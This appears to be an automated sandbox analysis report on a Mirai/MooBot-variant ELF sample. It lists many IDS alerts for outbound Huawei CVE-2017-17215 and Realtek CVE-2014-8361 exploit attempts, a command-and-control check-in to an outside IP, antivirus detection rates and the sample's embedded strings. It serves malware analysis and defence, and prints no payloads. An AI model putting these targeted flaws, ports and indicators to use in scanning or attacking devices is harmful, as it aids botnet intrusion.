Timestamp:	2024-07-20T23:00:59.170219+0200
SID:	2835222
Source Port:	43252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.26.246

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	47368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.236.107

Timestamp:	2024-07-20T23:01:02.068476+0200
SID:	2835222
Source Port:	57456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.69.194.148

Timestamp:	2024-07-20T23:01:23.911724+0200
SID:	2027339
Source Port:	46058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.125.129

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	44098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.159.217.82

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	2024-07-20T23:01:09.140149+0200
SID:	2027339
Source Port:	59256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.23.80.245

Timestamp:	2024-07-20T23:01:18.294174+0200
SID:	2835222
Source Port:	44052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	2024-07-20T23:01:09.195568+0200
SID:	2027339
Source Port:	46100
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.155.132.167

Timestamp:	2024-07-20T23:01:22.231631+0200
SID:	2027339
Source Port:	42842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.83.213.222

Timestamp:	2024-07-20T23:01:21.231934+0200
SID:	2027339
Source Port:	43060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.194.118.37

Timestamp:	2024-07-20T23:01:21.973875+0200
SID:	2027339
Source Port:	57512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.72.248.222

Timestamp:	2024-07-20T23:01:21.020720+0200
SID:	2835222
Source Port:	53564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.171.160.226

Timestamp:	2024-07-20T23:01:21.279590+0200
SID:	2027339
Source Port:	37696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.19.12.241

Timestamp:	2024-07-20T23:00:59.175742+0200
SID:	2835222
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.166.85.150

Timestamp:	2024-07-20T23:01:18.295501+0200
SID:	2835222
Source Port:	47794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.75.123.93

Timestamp:	2024-07-20T23:01:21.181035+0200
SID:	2835222
Source Port:	58556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.201.180

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	38304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.70.111.204

Timestamp:	2024-07-20T23:01:22.247638+0200
SID:	2027339
Source Port:	39008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.189.157

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	57110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 97.43.136.85

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.246.135.67

Timestamp:	2024-07-20T23:01:02.067655+0200
SID:	2835222
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 81.147.177.5

Timestamp:	2024-07-20T23:00:59.211994+0200
SID:	2835222
Source Port:	36396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.107.134

Timestamp:	2024-07-20T23:01:18.296946+0200
SID:	2835222
Source Port:	55530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 110.243.142.209

Timestamp:	2024-07-20T23:00:59.219743+0200
SID:	2835222
Source Port:	46650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 118.76.56.217

Timestamp:	2024-07-20T23:00:59.227759+0200
SID:	2835222
Source Port:	46618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.15.211.214

Timestamp:	2024-07-20T23:01:19.496217+0200
SID:	2027339
Source Port:	56974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.194.41.40

Timestamp:	2024-07-20T23:01:21.011580+0200
SID:	2027339
Source Port:	45810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.229.94.109

Timestamp:	2024-07-20T23:01:18.608485+0200
SID:	2835222
Source Port:	49446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.35.215.139

Timestamp:	2024-07-20T23:01:20.191460+0200
SID:	2027339
Source Port:	59250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.227.101

Timestamp:	2024-07-20T23:00:59.216912+0200
SID:	2835222
Source Port:	56980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.103.64

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	46116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.197.130

Timestamp:	2024-07-20T23:00:59.211994+0200
SID:	2835222
Source Port:	56934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.135.76

Timestamp:	2024-07-20T23:00:59.224296+0200
SID:	2835222
Source Port:	40842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.68.190

Timestamp:	2024-07-20T23:01:18.423367+0200
SID:	2835222
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.150.57.125

Timestamp:	2024-07-20T23:01:19.826663+0200
SID:	2027339
Source Port:	51590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.127.58

Timestamp:	2024-07-20T23:00:59.201622+0200
SID:	2835222
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.204.52

Timestamp:	2024-07-20T23:01:18.278953+0200
SID:	2835222
Source Port:	46136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.254.228.216

Timestamp:	2024-07-20T23:01:19.439299+0200
SID:	2027339
Source Port:	34398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.178.230.186

Timestamp:	2024-07-20T23:01:21.014789+0200
SID:	2027339
Source Port:	57522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.99.159.58

Timestamp:	2024-07-20T23:01:02.066021+0200
SID:	2835222
Source Port:	48170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.251.31.217

Timestamp:	2024-07-20T23:00:59.218459+0200
SID:	2835222
Source Port:	48742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.132.156.163

Timestamp:	2024-07-20T23:00:59.218458+0200
SID:	2835222
Source Port:	55528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.55.135

Timestamp:	2024-07-20T23:01:18.159021+0200
SID:	2835222
Source Port:	36734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.183.186

Timestamp:	2024-07-20T23:00:59.163619+0200
SID:	2835222
Source Port:	53610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.105.107

Timestamp:	2024-07-20T23:00:59.176163+0200
SID:	2835222
Source Port:	37060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.38.28.110

Timestamp:	2024-07-20T23:01:02.127340+0200
SID:	2835222
Source Port:	36284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.211.13.100

Timestamp:	2024-07-20T23:01:21.171996+0200
SID:	2027339
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.99.54

Timestamp:	2024-07-20T23:01:18.544436+0200
SID:	2835222
Source Port:	40802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.79.4

Timestamp:	2024-07-20T23:01:21.226483+0200
SID:	2835222
Source Port:	59562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 217.159.91.139

Timestamp:	2024-07-20T23:01:21.277827+0200
SID:	2835222
Source Port:	36626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.230.89.206

Timestamp:	2024-07-20T23:01:02.119631+0200
SID:	2835222
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.181.35.71

Timestamp:	2024-07-20T23:01:04.993704+0200
SID:	2027339
Source Port:	44076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.136.141.197

Timestamp:	2024-07-20T23:01:20.370706+0200
SID:	2027339
Source Port:	45716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 160.189.204.148

Timestamp:	2024-07-20T23:01:19.529461+0200
SID:	2027339
Source Port:	36142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.39.168.222

Timestamp:	2024-07-20T23:01:00.661808+0200
SID:	2835222
Source Port:	56996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.237.197.200

Timestamp:	2024-07-20T23:01:19.479146+0200
SID:	2027339
Source Port:	40144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.5.114.8

Timestamp:	2024-07-20T23:01:19.482947+0200
SID:	2027339
Source Port:	54976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.233.41.28

Timestamp:	2024-07-20T23:01:21.603420+0200
SID:	2027339
Source Port:	52276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.130.132.139

Timestamp:	2024-07-20T23:01:19.921226+0200
SID:	2027339
Source Port:	33518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.99.82.194

Timestamp:	2024-07-20T23:01:19.814981+0200
SID:	2027339
Source Port:	41562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.213.175.190

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	50560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.76.203.13

Timestamp:	2024-07-20T23:01:18.282646+0200
SID:	2835222
Source Port:	34536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.83.122

Timestamp:	2024-07-20T23:01:18.423367+0200
SID:	2835222
Source Port:	53842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.128.165

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	47490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.148.71.209

Timestamp:	2024-07-20T23:01:22.199072+0200
SID:	2027339
Source Port:	58646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.255.118

Timestamp:	2024-07-20T23:01:22.821969+0200
SID:	2835222
Source Port:	57128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.212.61.129

Timestamp:	2024-07-20T23:01:18.508899+0200
SID:	2835222
Source Port:	43440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.43.161

Timestamp:	2024-07-20T23:01:18.508899+0200
SID:	2835222
Source Port:	34472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.57.233.80

Timestamp:	2024-07-20T23:01:21.266022+0200
SID:	2027339
Source Port:	60010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.248.206

Timestamp:	2024-07-20T23:01:19.857203+0200
SID:	2027339
Source Port:	60200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.204.184

Timestamp:	2024-07-20T23:01:18.539093+0200
SID:	2835222
Source Port:	51376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.6.33.130

Timestamp:	2024-07-20T23:01:21.524794+0200
SID:	2835222
Source Port:	54260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.54.72.251

Timestamp:	2024-07-20T23:01:21.001632+0200
SID:	2027339
Source Port:	43534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 103.34.160.230

Timestamp:	2024-07-20T23:00:59.208769+0200
SID:	2835222
Source Port:	53310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.57.182

Timestamp:	2024-07-20T23:01:21.199737+0200
SID:	2835222
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.242.93.228

Timestamp:	2024-07-20T23:01:18.488326+0200
SID:	2835222
Source Port:	57480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.32.150.55

Timestamp:	2024-07-20T23:01:19.528850+0200
SID:	2027339
Source Port:	60144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.57.134.38

Timestamp:	2024-07-20T23:01:19.579365+0200
SID:	2027339
Source Port:	52872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.180.36.121

Timestamp:	2024-07-20T23:01:02.095698+0200
SID:	2835222
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.254.9.254

Timestamp:	2024-07-20T23:00:59.216912+0200
SID:	2835222
Source Port:	43482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.80.93.33

Timestamp:	2024-07-20T23:01:01.904354+0200
SID:	2835222
Source Port:	38354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.230.79

Timestamp:	2024-07-20T23:01:21.160329+0200
SID:	2835222
Source Port:	35110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: faBNhIKHq4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: faBNhIKHq4.elf

Virustotal: Detection: 56%

Perma Link

Source: faBNhIKHq4.elf

String: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:32848 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36734 -> 157.189.55.135:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:36734 -> 157.189.55.135:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48860 -> 157.115.56.95:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48860 -> 157.115.56.95:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33462 -> 41.107.86.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:33462 -> 41.107.86.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45112 -> 157.87.181.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:45112 -> 157.87.181.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40282 -> 23.141.91.228:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40282 -> 23.141.91.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40788 -> 157.147.238.186:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40788 -> 157.147.238.186:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48734 -> 41.174.115.244:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48734 -> 41.174.115.244:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54222 -> 37.80.86.165:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:54222 -> 37.80.86.165:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42510 -> 173.155.49.17:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:42510 -> 173.155.49.17:37215
